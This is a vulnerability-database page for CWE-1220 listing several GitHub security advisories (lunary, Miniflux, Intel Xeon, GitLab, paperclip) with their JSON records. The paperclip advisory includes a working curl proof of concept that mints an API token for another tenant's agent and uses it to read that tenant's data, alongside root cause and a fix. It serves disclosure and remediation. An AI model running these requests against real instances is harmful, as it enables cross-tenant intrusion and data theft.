CWE-1220
AllowedInsufficient Granularity of Access Control
Abstraction: Base · Status: Incomplete
The product implements access controls via a policy or other feature with the intention to disable or restrict accesses (reads and/or writes) to assets in a system from untrusted agents. However, implemented access controls lack required granularity, which renders the control policy too broad because it allows accesses from unauthorized agents to the security-sensitive assets.
176 vulnerabilities reference this CWE, most recent first.
GHSA-3MWC-2CJ7-GX8C
Vulnerability from github – Published: 2024-06-10 00:30 – Updated: 2024-11-25 15:40Withdrawn: This advisory was incorrectly linked the the npm package lunary. The advisory is valid, but not for that package.
In lunary-ai/lunary version 1.2.13, an insufficient granularity of access control vulnerability allows users to create, update, get, and delete prompt variations for datasets not owned by their organization. This issue arises due to the application not properly validating the ownership of dataset prompts and their variations against the organization or project of the requesting user. As a result, unauthorized modifications to dataset prompts can occur, leading to altered or removed dataset prompts without proper authorization. This vulnerability impacts the integrity and consistency of dataset information, potentially affecting the results of experiments.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "lunary"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-5389"
],
"database_specific": {
"cwe_ids": [
"CWE-1220"
],
"github_reviewed": true,
"github_reviewed_at": "2024-06-10T18:36:36Z",
"nvd_published_at": "2024-06-09T23:15:50Z",
"severity": "MODERATE"
},
"details": "Withdrawn: This advisory was incorrectly linked the the npm package `lunary`. The advisory is valid, but not for that package.\n\nIn lunary-ai/lunary version 1.2.13, an insufficient granularity of access control vulnerability allows users to create, update, get, and delete prompt variations for datasets not owned by their organization. This issue arises due to the application not properly validating the ownership of dataset prompts and their variations against the organization or project of the requesting user. As a result, unauthorized modifications to dataset prompts can occur, leading to altered or removed dataset prompts without proper authorization. This vulnerability impacts the integrity and consistency of dataset information, potentially affecting the results of experiments.",
"id": "GHSA-3mwc-2cj7-gx8c",
"modified": "2024-11-25T15:40:28Z",
"published": "2024-06-10T00:30:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-5389"
},
{
"type": "WEB",
"url": "https://github.com/lunary-ai/lunary/commit/35dd4af0001a54ccb14276a1546eb977f82c0c5e"
},
{
"type": "PACKAGE",
"url": "https://github.com/lunary-ai/lunary"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/3ca5309f-5615-4d5b-8043-968af220d7a2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N",
"type": "CVSS_V4"
}
],
"summary": "lunary-ai/lunary Access Control Vulnerability in Prompt Variation Management",
"withdrawn": "2024-11-18T19:40:41Z"
}
GHSA-3QJF-QH38-X73V
Vulnerability from github – Published: 2025-04-02 17:24 – Updated: 2025-04-02 17:24Impact
An unauthenticated user can retrieve Prometheus metrics from a publicly reachable Miniflux instance where the METRICS_COLLECTOR configuration option is enabled and METRICS_ALLOWED_NETWORKS is set to 127.0.0.1/8 (the default).
Patches
PR #1745 fixes the problem. Available in Miniflux >= 2.0.43.
Workarounds
Set METRICS_COLLECTOR to false (default) or run Miniflux behind a trusted reverse-proxy.
References
- https://miniflux.app/docs/configuration.html#metrics-collector
- https://miniflux.app/docs/configuration.html#metrics-allowed-networks
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.0.42"
},
"package": {
"ecosystem": "Go",
"name": "miniflux.app/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.43"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "miniflux.app"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.0.46"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-27591"
],
"database_specific": {
"cwe_ids": [
"CWE-1220",
"CWE-200"
],
"github_reviewed": true,
"github_reviewed_at": "2025-04-02T17:24:11Z",
"nvd_published_at": "2023-03-17T20:15:00Z",
"severity": "HIGH"
},
"details": "### Impact\n\nAn unauthenticated user can retrieve Prometheus metrics from a publicly reachable Miniflux instance where the `METRICS_COLLECTOR` [configuration option](https://miniflux.app/docs/configuration.html#metrics-collector) is enabled and `METRICS_ALLOWED_NETWORKS` is set to `127.0.0.1/8` (the default).\n\n### Patches\n\nPR #1745 fixes the problem. Available in Miniflux \u003e= 2.0.43.\n\n### Workarounds\n\nSet `METRICS_COLLECTOR` to `false` (default) or run Miniflux behind a trusted reverse-proxy.\n\n### References\n\n- https://miniflux.app/docs/configuration.html#metrics-collector\n- https://miniflux.app/docs/configuration.html#metrics-allowed-networks",
"id": "GHSA-3qjf-qh38-x73v",
"modified": "2025-04-02T17:24:11Z",
"published": "2025-04-02T17:24:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/miniflux/v2/security/advisories/GHSA-3qjf-qh38-x73v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27591"
},
{
"type": "WEB",
"url": "https://github.com/miniflux/v2/pull/1745"
},
{
"type": "PACKAGE",
"url": "https://github.com/miniflux/v2"
},
{
"type": "WEB",
"url": "https://github.com/miniflux/v2/releases/tag/2.0.43"
},
{
"type": "WEB",
"url": "https://miniflux.app/docs/configuration.html#metrics-collector"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Unauthenticated Miniflux user can bypass allowed networks check to obtain Prometheus metrics"
}
GHSA-43PP-4Q99-JFHM
Vulnerability from github – Published: 2025-08-12 18:31 – Updated: 2025-11-03 18:31Insufficient granularity of access control in the OOB-MSM for some Intel(R) Xeon(R) 6 Scalable processors may allow a privileged user to potentially enable escalation of privilege via adjacent access.
{
"affected": [],
"aliases": [
"CVE-2025-22839"
],
"database_specific": {
"cwe_ids": [
"CWE-1220"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-12T17:15:31Z",
"severity": "HIGH"
},
"details": "Insufficient granularity of access control in the OOB-MSM for some Intel(R) Xeon(R) 6 Scalable processors may allow a privileged user to potentially enable escalation of privilege via adjacent access.",
"id": "GHSA-43pp-4q99-jfhm",
"modified": "2025-11-03T18:31:33Z",
"published": "2025-08-12T18:31:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-22839"
},
{
"type": "WEB",
"url": "https://intel.com/content/www/us/en/security-center/advisory/intel-sa-01310.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/10/msg00027.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:A/AC:H/AT:P/PR:H/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-468R-GF65-PRQ5
Vulnerability from github – Published: 2025-03-28 12:31 – Updated: 2025-03-28 12:31An issue has been discovered in GitLab CE/EE affecting all versions from 16.0 before 17.8.6, 17.9 before 17.9.3, and 17.10 before 17.10.1, allowing internal users to gain unauthorized access to internal projects.
{
"affected": [],
"aliases": [
"CVE-2024-12619"
],
"database_specific": {
"cwe_ids": [
"CWE-1220"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-28T10:15:15Z",
"severity": "MODERATE"
},
"details": "An issue has been discovered in GitLab CE/EE affecting all versions from 16.0 before 17.8.6, 17.9 before 17.9.3, and 17.10 before 17.10.1, allowing internal users to gain unauthorized access to internal projects.",
"id": "GHSA-468r-gf65-prq5",
"modified": "2025-03-28T12:31:35Z",
"published": "2025-03-28T12:31:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12619"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/2888260"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/509324"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-47WQ-CJ9Q-WPMP
Vulnerability from github – Published: 2026-04-16 22:48 – Updated: 2026-04-16 22:48Isolated paperclip instance running in authenticated mode (default config) on a clean Docker image matching commit b649bd4 (2026.411.0-canary.8, post the 2026.410.0 patch). This advisory was verified on an unmodified build.
Summary
POST /api/agents/:id/keys, GET /api/agents/:id/keys, and
DELETE /api/agents/:id/keys/:keyId (server/src/routes/agents.ts
lines 2050-2087) only call assertBoard to authorize the caller. They never
call assertCompanyAccess and never verify that the caller is a member of the
company that owns the target agent.
Any authenticated board user (including a freshly signed-up account with zero
company memberships and no instance_admin role) can mint a plaintext
pcp_* agent API token for any agent in any company on the instance. The
minted token is bound to the victim agent's companyId server-side, so
every downstream assertCompanyAccess check on that token authorizes
operations inside the victim tenant.
This is a pure authorization bypass on the core tenancy boundary. It is distinct from GHSA-68qg-g8mg-6pr7 (the unauth import → RCE chain disclosed in 2026.410.0): that advisory fixed one handler, this report is a different handler with the same class of mistake that the 2026.410.0 patch did not cover.
Root Cause
server/src/routes/agents.ts, lines 2050-2087:
router.get("/agents/:id/keys", async (req, res) => {
assertBoard(req); // <-- no assertCompanyAccess
const id = req.params.id as string;
const keys = await svc.listKeys(id);
res.json(keys);
});
router.post("/agents/:id/keys", validate(createAgentKeySchema), async (req, res) => {
assertBoard(req); // <-- no assertCompanyAccess
const id = req.params.id as string;
const key = await svc.createApiKey(id, req.body.name);
...
res.status(201).json(key); // returns plaintext `token`
});
router.delete("/agents/:id/keys/:keyId", async (req, res) => {
assertBoard(req); // <-- no assertCompanyAccess
const keyId = req.params.keyId as string;
const revoked = await svc.revokeKey(keyId);
...
});
Compare the handler 12 lines below, router.post("/agents/:id/wakeup"),
which shows the correct pattern: it fetches the agent, then calls
assertCompanyAccess(req, agent.companyId). The three /keys handlers above
do not even fetch the agent.
The token returned by POST /agents/:id/keys is bound to the victim
company in server/src/services/agents.ts, lines 580-609:
createApiKey: async (id: string, name: string) => {
const existing = await getById(id); // victim agent
...
const token = createToken();
const keyHash = hashToken(token);
const created = await db
.insert(agentApiKeys)
.values({
agentId: id,
companyId: existing.companyId, // <-- victim tenant
name,
keyHash,
})
.returning()
.then((rows) => rows[0]);
return {
id: created.id,
name: created.name,
token, // <-- plaintext returned
createdAt: created.createdAt,
};
},
actorMiddleware (server/src/middleware/auth.ts) then resolves the bearer
token to actor = { type: "agent", companyId: existing.companyId }, so every
subsequent assertCompanyAccess(req, victim.companyId) check passes.
The exact same assertBoard-only pattern is also present on agent lifecycle
handlers in the same file (POST /agents/:id/pause, /resume, /terminate,
and DELETE /agents/:id at lines 1962, 1985, 2006, 2029). An attacker can
terminate, delete, or silently pause any agent in any company with the same
primitive.
Trigger Conditions
- Paperclip running in
authenticatedmode (the public, multi-user configuration —PAPERCLIP_DEPLOYMENT_MODE=authenticated). PAPERCLIP_AUTH_DISABLE_SIGN_UPunset or false (the default — same default precondition as GHSA-68qg-g8mg-6pr7).- At least one other company exists on the instance with at least one agent. In practice this is the normal state of any production paperclip deployment. The attacker needs the victim agent's ID, which leaks through activity feeds, heartbeat run APIs, and the sidebar-badges endpoint that the 2026.410.0 disclosure also flagged as under-protected.
No admin role, no invite, no email verification, no CSRF dance. The attacker is an authenticated browser-session user with zero company memberships.
PoC
Verified against a freshly built ghcr.io/paperclipai/paperclip:latest
container at commit b649bd4 (2026.411.0-canary.8, which is post the
2026.410.0 import-bypass patch). Full 5-step reproduction:
Step 1-2: Mallory signs up via the default
/api/auth/sign-up/emailflow (no invite, no verification) and confirms viaGET /api/companiesthat she is a member of zero companies. She has no tenant access through the normal authorization path.
# Step 1: attacker signs up as an unprivileged board user
curl -s -X POST http://<target>:3102/api/auth/sign-up/email \
-H 'Content-Type: application/json' \
-d '{"email":"mallory@attacker.com","password":"P@ssw0rd456","name":"mallory"}'
# Save the `better-auth.session_token` cookie from Set-Cookie.
# Step 2: confirm zero company membership
curl -s -H "Cookie: $MALLORY_SESSION" http://<target>:3102/api/companies
# -> []
Step 3 — the vulnerability. Mallory POSTs to
/api/agents/:id/keystargeting an agent in Victim Corp (a company she is NOT a member of). The server returns a plaintextpcp_*token tied to the victim'scompanyId. There is no authorization error.assertBoardpassed because Mallory is a board user;assertCompanyAccesswas never called.
# Step 3: mint a plaintext token for a victim agent
VICTIM_AGENT=<any-agent-id-in-another-company>
curl -s -X POST \
-H "Cookie: $MALLORY_SESSION" \
-H "Origin: http://<target>:3102" \
-H "Content-Type: application/json" \
-d '{"name":"pwnkit"}' \
http://<target>:3102/api/agents/$VICTIM_AGENT/keys
# -> 201 { "id":"...", "token":"pcp_8be3a5198e9ccba0ac7b3341395b2d3145fe2caa1b800e25", ... }
Step 4-5: Use the stolen token as a Bearer credential.
actorMiddlewareresolves it toactor = { type: "agent", companyId: VICTIM }, so every downstreamassertCompanyAccessgate authorizes reads against Victim Corp. Mallory can now enumerate the victim's company metadata, issues, approvals, and agent configuration — none of which she had access to 30 seconds ago.
# Step 4: use the stolen token to read victim company data
STOLEN=pcp_8be3a5198e9ccba0ac7b3341395b2d3145fe2caa1b800e25
VICTIM_CO=<victim-company-id>
curl -s -H "Authorization: Bearer $STOLEN" \
http://<target>:3102/api/companies/$VICTIM_CO
# -> 200 { "id":"...", "name":"Victim Corp", ... }
curl -s -H "Authorization: Bearer $STOLEN" \
http://<target>:3102/api/companies/$VICTIM_CO/issues
# -> 200 [ ...every issue in the victim tenant... ]
curl -s -H "Authorization: Bearer $STOLEN" \
http://<target>:3102/api/companies/$VICTIM_CO/approvals
# -> 200 [ ...every approval in the victim tenant... ]
curl -s -H "Authorization: Bearer $STOLEN" \
http://<target>:3102/api/agents/$VICTIM_AGENT
# -> 200 { ...full agent config incl. adapter settings... }
Observed outputs (all verified on live instance at time of submission):
POST /api/agents/:id/keys→ 201 with plaintexttokenbound to the victim'scompanyIdGET /api/companies/:victimId→ 200 full company metadataGET /api/companies/:victimId/issues→ 200 issue listGET /api/companies/:victimId/agents→ 200 agent listGET /api/companies/:victimId/approvals→ 200 approval list
Impact
- Type: Broken access control / cross-tenant IDOR (CWE-285, CWE-639, CWE-862, CWE-1220)
- Who is impacted: every paperclip instance running in
authenticatedmode with defaultPAPERCLIP_AUTH_DISABLE_SIGN_UP(open signup). That is the documented multi-user configuration and the default indocker/docker-compose.quickstart.yml. - Confidentiality: HIGH. Any signed-up user can read another tenant's company metadata, issues, approvals, runs, and agent configuration (which includes adapter URLs, model settings, and references to stored secret bindings).
- Integrity: HIGH. The minted token is a persistent agent credential
that authenticates for every
assertCompanyAccess-gated agent-scoped mutation in the victim tenant (issue/run updates, self-wakeup with attacker-controlled payloads, adapter execution via the agent's own adapter, etc.). - Availability: HIGH. The attacker can
pause,terminate, orDELETEany agent in any company via the siblingassertBoard-only handlers (/agents/:id/pause,/resume,/terminate,DELETE /agents/:id). - Relation to GHSA-68qg-g8mg-6pr7: the 2026.410.0 patch added
assertInstanceAdminonPOST /companies/importand closed the disclosed chain, but the same root cause (assertBoardtreated as sufficient whereassertCompanyAccessis required on a cross-tenant resource, or whereassertInstanceAdminis required on an instance-global resource) is present in multiple other handlers. The import fix did not audit sibling routes. This report is an instance of that same class the prior advisory did not cover.
Severity is driven by the fact that every precondition is default, the bug is reachable by any signed-up user with zero memberships, and the stolen token persists across sessions until manually revoked.
Suggested Fix
In server/src/routes/agents.ts, replace each of the three /keys handlers
so they load the target agent first and enforce company access:
router.get("/agents/:id/keys", async (req, res) => {
assertBoard(req);
const id = req.params.id as string;
const agent = await svc.getById(id);
if (!agent) {
res.status(404).json({ error: "Agent not found" });
return;
}
assertCompanyAccess(req, agent.companyId);
const keys = await svc.listKeys(id);
res.json(keys);
});
router.post("/agents/:id/keys", validate(createAgentKeySchema), async (req, res) => {
assertBoard(req);
const id = req.params.id as string;
const agent = await svc.getById(id);
if (!agent) {
res.status(404).json({ error: "Agent not found" });
return;
}
assertCompanyAccess(req, agent.companyId);
const key = await svc.createApiKey(id, req.body.name);
...
});
router.delete("/agents/:id/keys/:keyId", async (req, res) => {
assertBoard(req);
const keyId = req.params.keyId as string;
// Look up the key to find its agentId/companyId, then:
const key = await svc.getKeyById(keyId);
if (!key) { res.status(404).json({ error: "Key not found" }); return; }
assertCompanyAccess(req, key.companyId);
await svc.revokeKey(keyId);
res.json({ ok: true });
});
While fixing this, audit the sibling lifecycle handlers at lines 1962-2048
(/agents/:id/pause, /resume, /terminate, DELETE /agents/:id) which
share the same bug.
Defense in depth: consider a code-wide sweep for assertBoard(req) calls
that are not immediately followed by assertCompanyAccess or
assertInstanceAdmin — the 2026.410.0 patch focused on one handler but the
pattern is systemic.
Patch Status
- Latest image at time of writing:
ghcr.io/paperclipai/paperclip:latestdigestsha256:baa9926e..., commitb649bd4(canary/v2026.411.0-canary.8), which is after the 2026.410.0 import bypass fix. - The bug is still present on that revision. PoC reproduced end-to-end against an unmodified container.
Credits
Discovered by pwnkit, an AI-assisted security scanner, during variant-hunt analysis of GHSA-68qg-g8mg-6pr7. Manually verified against a live isolated paperclip instance.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@paperclipai/server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.416.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-1220",
"CWE-285",
"CWE-639",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-16T22:48:32Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "\u003cimg width=\"7007\" height=\"950\" alt=\"01-setup\" src=\"https://github.com/user-attachments/assets/1596b8d1-8de5-4c21-b1d2-2db41b568d7e\" /\u003e\n\n\u003e Isolated paperclip instance running in authenticated mode (default config)\n\u003e on a clean Docker image matching commit b649bd4 (2026.411.0-canary.8, post\n\u003e the 2026.410.0 patch). This advisory was verified on an unmodified build.\n\n### Summary\n\n`POST /api/agents/:id/keys`, `GET /api/agents/:id/keys`, and\n`DELETE /api/agents/:id/keys/:keyId` (`server/src/routes/agents.ts`\nlines 2050-2087) only call `assertBoard` to authorize the caller. They never\ncall `assertCompanyAccess` and never verify that the caller is a member of the\ncompany that owns the target agent.\n\nAny authenticated board user (including a freshly signed-up account with zero\ncompany memberships and no `instance_admin` role) can mint a plaintext\n`pcp_*` agent API token for any agent in any company on the instance. The\nminted token is bound to the **victim** agent\u0027s `companyId` server-side, so\nevery downstream `assertCompanyAccess` check on that token authorizes\noperations inside the victim tenant.\n\nThis is a pure authorization bypass on the core tenancy boundary. It is\ndistinct from GHSA-68qg-g8mg-6pr7 (the unauth import \u2192 RCE chain disclosed in\n2026.410.0): that advisory fixed one handler, this report is a different\nhandler with the same class of mistake that the 2026.410.0 patch did not\ncover.\n\n### Root Cause\n\n`server/src/routes/agents.ts`, lines 2050-2087:\n\n```ts\nrouter.get(\"/agents/:id/keys\", async (req, res) =\u003e {\n assertBoard(req); // \u003c-- no assertCompanyAccess\n const id = req.params.id as string;\n const keys = await svc.listKeys(id);\n res.json(keys);\n});\n\nrouter.post(\"/agents/:id/keys\", validate(createAgentKeySchema), async (req, res) =\u003e {\n assertBoard(req); // \u003c-- no assertCompanyAccess\n const id = req.params.id as string;\n const key = await svc.createApiKey(id, req.body.name);\n ...\n res.status(201).json(key); // returns plaintext `token`\n});\n\nrouter.delete(\"/agents/:id/keys/:keyId\", async (req, res) =\u003e {\n assertBoard(req); // \u003c-- no assertCompanyAccess\n const keyId = req.params.keyId as string;\n const revoked = await svc.revokeKey(keyId);\n ...\n});\n```\n\nCompare the handler 12 lines below, `router.post(\"/agents/:id/wakeup\")`,\nwhich shows the correct pattern: it fetches the agent, then calls\n`assertCompanyAccess(req, agent.companyId)`. The three `/keys` handlers above\ndo not even fetch the agent.\n\nThe token returned by `POST /agents/:id/keys` is bound to the **victim**\ncompany in `server/src/services/agents.ts`, lines 580-609:\n\n```ts\ncreateApiKey: async (id: string, name: string) =\u003e {\n const existing = await getById(id); // victim agent\n ...\n const token = createToken();\n const keyHash = hashToken(token);\n const created = await db\n .insert(agentApiKeys)\n .values({\n agentId: id,\n companyId: existing.companyId, // \u003c-- victim tenant\n name,\n keyHash,\n })\n .returning()\n .then((rows) =\u003e rows[0]);\n\n return {\n id: created.id,\n name: created.name,\n token, // \u003c-- plaintext returned\n createdAt: created.createdAt,\n };\n},\n```\n\n`actorMiddleware` (`server/src/middleware/auth.ts`) then resolves the bearer\ntoken to `actor = { type: \"agent\", companyId: existing.companyId }`, so every\nsubsequent `assertCompanyAccess(req, victim.companyId)` check passes.\n\nThe exact same `assertBoard`-only pattern is also present on agent lifecycle\nhandlers in the same file (`POST /agents/:id/pause`, `/resume`, `/terminate`,\nand `DELETE /agents/:id` at lines 1962, 1985, 2006, 2029). An attacker can\nterminate, delete, or silently pause any agent in any company with the same\nprimitive.\n\n### Trigger Conditions\n\n1. Paperclip running in `authenticated` mode (the public, multi-user\n configuration \u2014 `PAPERCLIP_DEPLOYMENT_MODE=authenticated`).\n2. `PAPERCLIP_AUTH_DISABLE_SIGN_UP` unset or false (the default \u2014 same\n default precondition as GHSA-68qg-g8mg-6pr7).\n3. At least one other company exists on the instance with at least one\n agent. In practice this is the normal state of any production paperclip\n deployment. The attacker needs the victim agent\u0027s ID, which leaks through\n activity feeds, heartbeat run APIs, and the sidebar-badges endpoint that\n the 2026.410.0 disclosure also flagged as under-protected.\n\nNo admin role, no invite, no email verification, no CSRF dance. The attacker\nis an authenticated browser-session user with zero company memberships.\n\n### PoC\n\nVerified against a freshly built `ghcr.io/paperclipai/paperclip:latest`\ncontainer at commit `b649bd4` (2026.411.0-canary.8, which is **post** the\n2026.410.0 import-bypass patch). Full 5-step reproduction:\n\n\u003cimg width=\"5429\" height=\"1448\" alt=\"02-signup\" src=\"https://github.com/user-attachments/assets/4c2b2939-326b-4e0d-aa01-05e22851486b\" /\u003e\n\u003e Step 1-2: Mallory signs up via the default `/api/auth/sign-up/email` flow\n\u003e (no invite, no verification) and confirms via `GET /api/companies` that she\n\u003e is a member of zero companies. She has no tenant access through the normal\n\u003e authorization path.\n\n```bash\n# Step 1: attacker signs up as an unprivileged board user\ncurl -s -X POST http://\u003ctarget\u003e:3102/api/auth/sign-up/email \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"email\":\"mallory@attacker.com\",\"password\":\"P@ssw0rd456\",\"name\":\"mallory\"}\u0027\n# Save the `better-auth.session_token` cookie from Set-Cookie.\n\n# Step 2: confirm zero company membership\ncurl -s -H \"Cookie: $MALLORY_SESSION\" http://\u003ctarget\u003e:3102/api/companies\n# -\u003e []\n```\n\n\u003cimg width=\"2891\" height=\"1697\" alt=\"03-exploit\" src=\"https://github.com/user-attachments/assets/c097e861-6bc9-4f6a-841c-b45501e27849\" /\u003e\n\u003e Step 3 \u2014 the vulnerability. Mallory POSTs to `/api/agents/:id/keys`\n\u003e targeting an agent in Victim Corp (a company she is NOT a member of). The\n\u003e server returns a plaintext `pcp_*` token tied to the victim\u0027s `companyId`.\n\u003e There is no authorization error. `assertBoard` passed because Mallory is a\n\u003e board user; `assertCompanyAccess` was never called.\n\n```bash\n# Step 3: mint a plaintext token for a victim agent\nVICTIM_AGENT=\u003cany-agent-id-in-another-company\u003e\ncurl -s -X POST \\\n -H \"Cookie: $MALLORY_SESSION\" \\\n -H \"Origin: http://\u003ctarget\u003e:3102\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"name\":\"pwnkit\"}\u0027 \\\n http://\u003ctarget\u003e:3102/api/agents/$VICTIM_AGENT/keys\n# -\u003e 201 { \"id\":\"...\", \"token\":\"pcp_8be3a5198e9ccba0ac7b3341395b2d3145fe2caa1b800e25\", ... }\n```\n\n\u003cimg width=\"2983\" height=\"2009\" alt=\"04-exfil\" src=\"https://github.com/user-attachments/assets/ede5d469-4119-432c-b0ae-5a4fabc9a56b\" /\u003e\n\u003e Step 4-5: Use the stolen token as a Bearer credential. `actorMiddleware`\n\u003e resolves it to `actor = { type: \"agent\", companyId: VICTIM }`, so every\n\u003e downstream `assertCompanyAccess` gate authorizes reads against Victim Corp.\n\u003e Mallory can now enumerate the victim\u0027s company metadata, issues, approvals,\n\u003e and agent configuration \u2014 none of which she had access to 30 seconds ago.\n\n```bash\n# Step 4: use the stolen token to read victim company data\nSTOLEN=pcp_8be3a5198e9ccba0ac7b3341395b2d3145fe2caa1b800e25\nVICTIM_CO=\u003cvictim-company-id\u003e\ncurl -s -H \"Authorization: Bearer $STOLEN\" \\\n http://\u003ctarget\u003e:3102/api/companies/$VICTIM_CO\n# -\u003e 200 { \"id\":\"...\", \"name\":\"Victim Corp\", ... }\n\ncurl -s -H \"Authorization: Bearer $STOLEN\" \\\n http://\u003ctarget\u003e:3102/api/companies/$VICTIM_CO/issues\n# -\u003e 200 [ ...every issue in the victim tenant... ]\n\ncurl -s -H \"Authorization: Bearer $STOLEN\" \\\n http://\u003ctarget\u003e:3102/api/companies/$VICTIM_CO/approvals\n# -\u003e 200 [ ...every approval in the victim tenant... ]\n\ncurl -s -H \"Authorization: Bearer $STOLEN\" \\\n http://\u003ctarget\u003e:3102/api/agents/$VICTIM_AGENT\n# -\u003e 200 { ...full agent config incl. adapter settings... }\n```\n\nObserved outputs (all verified on live instance at time of submission):\n\n- `POST /api/agents/:id/keys` \u2192 **201** with plaintext `token` bound to\n the victim\u0027s `companyId`\n- `GET /api/companies/:victimId` \u2192 **200** full company metadata\n- `GET /api/companies/:victimId/issues` \u2192 **200** issue list\n- `GET /api/companies/:victimId/agents` \u2192 **200** agent list\n- `GET /api/companies/:victimId/approvals` \u2192 **200** approval list\n\n### Impact\n\n- **Type:** Broken access control / cross-tenant IDOR (CWE-285, CWE-639,\n CWE-862, CWE-1220)\n- **Who is impacted:** every paperclip instance running in `authenticated`\n mode with default `PAPERCLIP_AUTH_DISABLE_SIGN_UP` (open signup). That is\n the documented multi-user configuration and the default in\n `docker/docker-compose.quickstart.yml`.\n- **Confidentiality:** HIGH. Any signed-up user can read another tenant\u0027s\n company metadata, issues, approvals, runs, and agent configuration (which\n includes adapter URLs, model settings, and references to stored secret\n bindings).\n- **Integrity:** HIGH. The minted token is a persistent agent credential\n that authenticates for every `assertCompanyAccess`-gated agent-scoped\n mutation in the victim tenant (issue/run updates, self-wakeup with\n attacker-controlled payloads, adapter execution via the agent\u0027s own\n adapter, etc.).\n- **Availability:** HIGH. The attacker can `pause`, `terminate`, or\n `DELETE` any agent in any company via the sibling `assertBoard`-only\n handlers (`/agents/:id/pause`, `/resume`, `/terminate`,\n `DELETE /agents/:id`).\n- **Relation to GHSA-68qg-g8mg-6pr7:** the 2026.410.0 patch added\n `assertInstanceAdmin` on `POST /companies/import` and closed the disclosed\n chain, but the same root cause (`assertBoard` treated as sufficient where\n `assertCompanyAccess` is required on a cross-tenant resource, or where\n `assertInstanceAdmin` is required on an instance-global resource) is\n present in multiple other handlers. The import fix did not audit sibling\n routes. This report is an instance of that same class the prior advisory\n did not cover.\n\nSeverity is driven by the fact that every precondition is default, the bug\nis reachable by any signed-up user with zero memberships, and the stolen\ntoken persists across sessions until manually revoked.\n\n### Suggested Fix\n\nIn `server/src/routes/agents.ts`, replace each of the three `/keys` handlers\nso they load the target agent first and enforce company access:\n\n```ts\nrouter.get(\"/agents/:id/keys\", async (req, res) =\u003e {\n assertBoard(req);\n const id = req.params.id as string;\n const agent = await svc.getById(id);\n if (!agent) {\n res.status(404).json({ error: \"Agent not found\" });\n return;\n }\n assertCompanyAccess(req, agent.companyId);\n const keys = await svc.listKeys(id);\n res.json(keys);\n});\n\nrouter.post(\"/agents/:id/keys\", validate(createAgentKeySchema), async (req, res) =\u003e {\n assertBoard(req);\n const id = req.params.id as string;\n const agent = await svc.getById(id);\n if (!agent) {\n res.status(404).json({ error: \"Agent not found\" });\n return;\n }\n assertCompanyAccess(req, agent.companyId);\n const key = await svc.createApiKey(id, req.body.name);\n ...\n});\n\nrouter.delete(\"/agents/:id/keys/:keyId\", async (req, res) =\u003e {\n assertBoard(req);\n const keyId = req.params.keyId as string;\n // Look up the key to find its agentId/companyId, then:\n const key = await svc.getKeyById(keyId);\n if (!key) { res.status(404).json({ error: \"Key not found\" }); return; }\n assertCompanyAccess(req, key.companyId);\n await svc.revokeKey(keyId);\n res.json({ ok: true });\n});\n```\n\nWhile fixing this, audit the sibling lifecycle handlers at lines 1962-2048\n(`/agents/:id/pause`, `/resume`, `/terminate`, `DELETE /agents/:id`) which\nshare the same bug.\n\nDefense in depth: consider a code-wide sweep for `assertBoard(req)` calls\nthat are not immediately followed by `assertCompanyAccess` or\n`assertInstanceAdmin` \u2014 the 2026.410.0 patch focused on one handler but the\npattern is systemic.\n\n### Patch Status\n\n- Latest image at time of writing: `ghcr.io/paperclipai/paperclip:latest`\n digest `sha256:baa9926e...`, commit `b649bd4`\n (`canary/v2026.411.0-canary.8`), which is *after* the 2026.410.0 import\n bypass fix.\n- The bug is still present on that revision. PoC 